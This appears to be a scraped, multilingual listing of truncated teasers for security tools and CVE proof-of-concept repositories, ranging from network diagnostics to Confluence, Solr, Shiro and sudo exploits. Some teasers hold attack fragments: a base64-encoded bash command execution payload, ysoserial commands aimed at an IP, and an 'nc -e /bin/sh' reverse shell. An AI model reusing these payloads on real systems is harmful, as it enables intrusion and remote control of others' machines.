wave-share

wave-share A proof-of-concept for WebRTC signaling using sound. Works with all devices that have microphone + speakers. Runs in the browser. Nearby devices negotiate the WebRTC connection by exchanging the necessary Session Description Protocol SDP data via a sequence of audio tones. Upon...

awesome-termux-hacking

seeker - Localisez précisément les smartphones en utilisant l'ingénierie sociale. ANDRAX - ANDRAX est une plateforme de test de pénétration développée spécifiquement pour les smartphones Android. ANDRAX fonctionne nativement sur Android et se comporte comme une distribution Linux classique, mais...

Blackash-CVE-2025-32463

CVE-2025-32463 Повышение локальных привилегий до root через Sudo chroot в Linux 🛑 Вот краткое описание CVE-2025-32463 без ссылок: 🔍 Обзор уязвимости CVE-2025-32463 — это уязвимость локального повышения привилегий в Sudo версиях 1.9.14–1.9.17. Она злоупотребляет опцией --chroot -R, манипулируя тем...

CVE-2022-44311

Чтение за пределами границ в html2xhtml: CVE-2022-44311 Краткое описание Html2xhtml v1.3 был обнаружен как содержащий чтение за пределами границ в функции static void elmclosetreenodet nodo в procesador.c. Эта уязвимость позволяет злоумышленникам получать доступ к конфиденциальным файлам или...

ConfluentPwn

ConfluentPwn Сканер удалённого выполнения кода через внедрение ONGL без аутентификации в Confluence CVE-2022-26134. Использование На GIF ниже показано демонстрационное использование инструмента: Вот вывод справки инструмента: root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N ...

sylkie

sylkie A command line tool and library for testing networks for common address spoofing security vulnerabilities in IPv6 networks using the Neighbor Discovery Protocol. Getting Started Note: This project is still in the early phases of development. If you run into any problems, please consider...

RatHat Android Malware Abuses ADB to Retain Shell Access After Uninstall

Cybersecurity researchers have flagged a new Android malware called RatHat that's assessed to be operated by China-based threat actors and features an artificial intelligence AI-powered system to navigate and control compromised devices. "Distributed primarily via targeted smishing SMS/text...

solr_rce

Apache Solr RCE через Velocity-шаблон использование python: python solrrce.py http://x.x.x.x:8983 command закодированный payload для getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Кратко о Solr Solr — это открытая корпоративная...

vortex

🚩 Ceci est le dépôt public de vortex, pour la dernière version et les mises à jour, veuillez envisager de nous soutenir via https://porchetta.industries/ Vortex Boîte à outils globale de reconnaissance, test, énumération et exploitation de VPN 🚩 Sponsors Si vous souhaitez sponsoriser ce projet et...

St2-052

Тестирование POC для S2-052 оригинальное название: развертывание war в Tomcat Оригинальный адрес: http://blog.csdn.net/caiqiiqi/article/details/77861477 С официального сайта Struts2 загрузите последнюю затронутую версию struts-2.5.12, адрес:...

SHIRO-550

Уязвимость десериализации Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

CVE-2022-23940

CVE-2022-23940 PoC для CVE-2022-23940, также известной как SCRMBT-187 – аутентифицированное удалённое выполнение кода через запланированные отчёты в SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940...

cuckooautoinstall

About CuckooAutoinstall Cuckoo Sandbox . auto install script What is Cuckoo Sandbox? Cuckoo Sandbox is a malware analysis system. What does that mean? It means that you can throw any suspicious file at it and get a report with details about the file's behavior inside an isolated environment. We...

Powshell-decode-payload

декодирование gzip-кода powershell sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd root@kitploit: sal a New-Object;a IO.StreamReadera...

jadx-ai-mcp

JADX-AI-MCP Part of Zin MCP Suite ⚡ Fully automated MCP server + JADX plugin built to communicate with LLM through MCP to analyze Android APKs using LLMs like Claude — uncover vulnerabilities, analyze APK, and reverse engineer effortlessly. ⭐ Contributors Thanks to these wonderful people for thei...

mylg

myLG, Command line Network Diagnostic Tool myLG is an open source software utility which combines the functions of the different network probes in one network diagnostic tool. Features Popular looking glasses ping/trace/bgp: Telia, Level3, NTT, Cogent, KPN More than 200 countries DNS Lookup...

mylg

myLG, Outil de diagnostic réseau en ligne de commande myLG est un utilitaire logiciel open source qui combine les fonctions de différentes sondes réseau en un seul outil de diagnostic réseau. Fonctionnalités Sondes réseau populaires ping/trace/bgp : Telia, Level3, NTT, Cogent, KPN Informations de...

-CVE-2022-26134

Удалённое выполнение кода в Confluence без аутентификации через OGNL-инъекцию CVE-2022-26134 Удалённое выполнение кода в Confluence без аутентификации через OGNL-инъекцию CVE-2022-26134 2 июня 2022 года Atlassian выпустила бюллетень безопасности для своих приложений Confluence Server и Data Cente...

ngrev

ngrev Graphical tool for reverse engineering of Angular projects. It allows you to navigate in the structure of your application and observe the relationship between the different modules, providers, and directives. The tool performs static code analysis which means that you don't have to run you...

ModSec-log4j2

Тестирование правила ModSec Предварительные требования Установленный Docker Установленная Java на вашей машине Выполнение теста Выполнить git clone репозитория Выполнить следующую команду для запуска WAF ModSec и уязвимого приложения root@kitploit: docker stack deploy -c docker-compose.yml WAF...